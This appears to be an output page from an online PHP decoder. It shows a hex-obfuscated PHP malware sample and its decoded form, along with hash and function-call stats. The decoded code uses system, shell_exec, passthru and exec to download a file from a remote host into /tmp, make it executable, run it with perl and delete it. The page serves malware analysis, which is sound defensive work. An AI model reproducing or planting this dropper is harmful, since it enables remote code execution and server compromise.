Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php system("\x77\x67et -O\x20/t\x6dp/do\x63\x20h\x74t\x70://m\x6b\x74\x67.r\x6f/f\x65\x6..
Decoded Output download
<?php system("wget -O /tmp/doc http://mktg.ro/feed/doc;curl -o /tmp/doc http://mktg.ro/feed/doc;chmod +x /tmp/doc;perl /tmp/doc;rm -rf /tmp/doc");shell_exec("wget -O /tmp/doc http://mktg.ro/feed/doc;curl -o /tmp/doc http://mktg.ro/feed/doc;chmod +x /tmp/doc;perl /tmp/doc;rm -rf /tmp/doc");passthru("wget -O /tmp/doc http://mktg.ro/feed/doc;curl -o /tmp/doc http://mktg.ro/feed/doc;chmod +x /tmp/doc;perl /tmp/doc;rm -rf /tmp/doc");exec("wget -O /tmp/doc http://mktg.ro/feed/doc;curl -o /tmp/doc http://mktg.ro/feed/doc;chmod +x /tmp/doc;perl /tmp/doc;rm -rf /tmp/doc");
?>
Did this file decode correctly?
Original Code
<?php system("\x77\x67et -O\x20/t\x6dp/do\x63\x20h\x74t\x70://m\x6b\x74\x67.r\x6f/f\x65\x65\x64/\x64\x6f\x63\x3b\x63\x75\x72l -o /\x74\x6dp/\x64\x6fc \x68t\x74\x70://\x6d\x6b\x74\x67\x2er\x6f/\x66\x65ed/d\x6f\x63;ch\x6do\x64\x20+\x78\x20/tm\x70/d\x6fc;p\x65\x72\x6c /t\x6dp/\x64\x6fc\x3br\x6d -\x72f\x20/t\x6d\x70/doc");shell_exec("wg\x65t -O /tm\x70/do\x63\x20h\x74\x74p://mktg\x2ero/\x66e\x65\x64/d\x6fc\x3b\x63\x75rl -\x6f\x20/\x74m\x70/d\x6f\x63 http://m\x6bt\x67\x2e\x72\x6f/\x66ee\x64/\x64\x6fc\x3bch\x6dod\x20+x\x20/\x74m\x70/d\x6f\x63\x3bp\x65rl\x20/tm\x70/\x64\x6f\x63;\x72\x6d\x20-rf\x20/\x74mp/do\x63");passthru("\x77g\x65t\x20-\x4f\x20/t\x6d\x70/\x64o\x63 \x68\x74\x74p://m\x6b\x74\x67\x2e\x72\x6f/\x66\x65ed/do\x63;\x63url -o\x20/tmp/d\x6f\x63 h\x74\x74p://\x6dkt\x67\x2er\x6f/\x66\x65ed/\x64o\x63\x3b\x63h\x6do\x64\x20+x\x20/\x74\x6d\x70/do\x63\x3bper\x6c /\x74mp/d\x6f\x63\x3b\x72m -\x72\x66 /\x74\x6dp/d\x6fc");exec("\x77g\x65t -\x4f\x20/\x74\x6d\x70/\x64\x6fc\x20h\x74\x74\x70://\x6d\x6btg\x2e\x72\x6f/fe\x65\x64/d\x6f\x63;\x63\x75\x72l\x20-\x6f\x20/\x74m\x70/\x64oc\x20ht\x74\x70://\x6d\x6bt\x67.r\x6f/fe\x65d/\x64\x6fc\x3bc\x68mo\x64 +x\x20/\x74\x6dp/d\x6fc;p\x65\x72\x6c /\x74\x6dp/\x64oc\x3b\x72m\x20-\x72\x66 /t\x6d\x70/d\x6f\x63");
?>
Function Calls
| system | 1 |
Stats
| MD5 | 7524e2a47149330c859b2238eff15fcb |
| Eval Count | 0 |
| Decode Time | 96 ms |